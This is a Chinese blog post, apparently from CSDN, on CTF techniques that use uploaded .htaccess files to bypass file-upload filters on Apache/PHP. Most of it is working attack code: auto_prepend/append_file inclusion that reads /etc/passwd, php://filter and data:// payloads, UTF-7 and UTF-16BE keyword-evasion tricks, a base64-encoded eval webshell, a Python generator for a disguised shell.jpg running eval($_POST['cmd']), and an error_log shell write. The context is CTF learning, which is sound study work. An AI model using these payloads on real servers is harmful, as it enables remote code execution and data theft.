.htaccess 当前目录_文件上传与.htaccess

本文介绍了如何使用.htaccess文件来绕过文件上传检查中的一些限制,包括通过文件头修改、利用编码转换(如utf-7、base64、utf-16be)以及设定额外PHP文件类型等方式。同时,文章还探讨了如何利用.htaccess绕过PHP关键字过滤,如通过反斜杠换行来规避关键字检测。
摘要由CSDN通过智能技术生成

前言

有不少题目都是用了黑名单过滤,落下的htaccess

有的题目还对上传文件的内容进行检查,检查是否含有php关键字

这时候就需要用到htaccess的骚操作进行绕过了

方法

文件头

如果有的题目会对文件的文件头进行检查,例如用exif_imagetype检查是否为图片类型,对于.htaccess来说,不能简单的加上GIF89a等文件头直接绕过,因为这会造成.htaccess文件格式不正确,无法解析,这时候我们就可以用以下方法进行绕过

在htaccess文件头部添加:

#define width 1337
#define height 1337

或:

利用16进制编辑器添加:

x00x00x8ax39x8ax39

auto_prepend_fileauto_append_file

相当于在当前目录下面所有php文件的开头或结尾加载引用了一个文件

类似于require xxx

访问htaccess文件所在目录的php文件时,Apache会将指定文件载入到php文件前或后,这时php文件执行时就会将我们载入的文件内容与原本的php代码一起执行

如果所在目录没有php文件,则可以使用AddType application/x-httpd-php .xxx

经过测试,这种方式加载的文件,有点类似html文件,文件内如果有html标签,js脚本或者php脚本,会直接被执行,而不符合这些规则的文本,内容会被直接展示

加载文件时会自动转义特殊字符,要特别注意

11d0cf3599ad59189910fb55d9c7d6b9.png
image-20200910180932993

可以任意文件读取

php_value auto_append_file "/etc/passwd"
936b6737b5d258935cbac175a843f44f.png
image-20200910181020755

可以包含利用图片马

php_value auto_prepend_file 1.jpg
php_value auto_append_file 1.jpg

可以包含自己

php_value auto_append_file .htaccess
#<?php  phpinfo(); ?>

当然,也可以使用php伪协议

#双引号可加可不加
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=/var/www/html/1.txt"
495f55bc32f2f10dbc76cc355de98ba0.png
image-20200910164337534

远程包含似乎在php5以上版本并不能成功

#测试未成功
php_flag allow_url_include 1
php_value auto_append_file http://xxx/1.txt

php_flag allow_url_include 1
php_value auto_append_file "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw=="
8b2df29e21ff731eb534f94b0859f7b3.png
image-20200910182813688
1eae3b2bf179633728af404efbfa5fb0.png
image-20200910182854772
绕过php关键字过滤
utf-7编码
AddType application/x-httpd-php .gif
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs
aa0ca3594b76c0fab7b8c6a2ab2a3319.png
image-20200910164045392
base64
php_value auto_append_file "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw=="
AddType application/x-httpd-php .gif
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=/var/www/html/shell.gif"

shell.gif为:

shell使用base64编码,注意此时如果使用GIF89a的话,记得补齐8位

GIF89a12
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4=
utf-16be
AddType application/x-httpd-php .jpg
php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
 phpfile = open(filename, 'wb') 
 phpfile.write(script.encode('utf-16be'))
 phpfile.write(SIZE_HEADER)
 phpfile.close()
def generate_htacess():
 htaccess = open('.htaccess', 'wb')

 htaccess.write(SIZE_HEADER)
 htaccess.write(b'AddType application/x-httpd-php .jpg\n')
 htaccess.write(b'php_value zend.multibyte 1\n')
 htaccess.write(b'php_value zend.detect_unicode 1\n')
 htaccess.write(b'php_value display_errors 1\n')

 htaccess.close()  
generate_htacess()
generate_php_file("shell.jpg", "<?php  eval($_POST['cmd']);  ?>")

设定额外的php文件类型

相当于增加了可执行的php文件类型

利用

AddType application/x-httpd-php .jpg

即可让图片变成php程序

或者

<FilesMatch ".+\.gif$">
SetHandler application/x-httpd-php
FilesMatch>

<FilesMatch ".+\.txt$">
SetHandler php5-script
FilesMatch>

或者

AddHandler php5-script .txt
AddHandler application/x-httpd-php .txt

利用error_logutf-7写shell

php_value error_log /var/www/html/shell.php
#---- "<?php  phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

利用php_flag爆出php源码

其实就是设置这个目录不执行php

php_flag engine 0
c32a121c74770ad735502c728a95ce27.png
image-20200910193822850

绕过

有的题目过滤了php关键字,这时候我们就要对htaccess文件做点手脚

利用反斜杠换行

htaccess文件有换行的时候也会正常执行

#define width 1337
#define height 1337 
AddType application/x-httpd-p
\hp .jpg
ph
\p_value auto_append_file "p
\hp://filter/convert.base64-decode/resource=/var/www/html/shell.jpg"

注意反斜杠添加的位置

有可能会过滤多个关键字,这时候就得在多个地方添加反斜杠

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值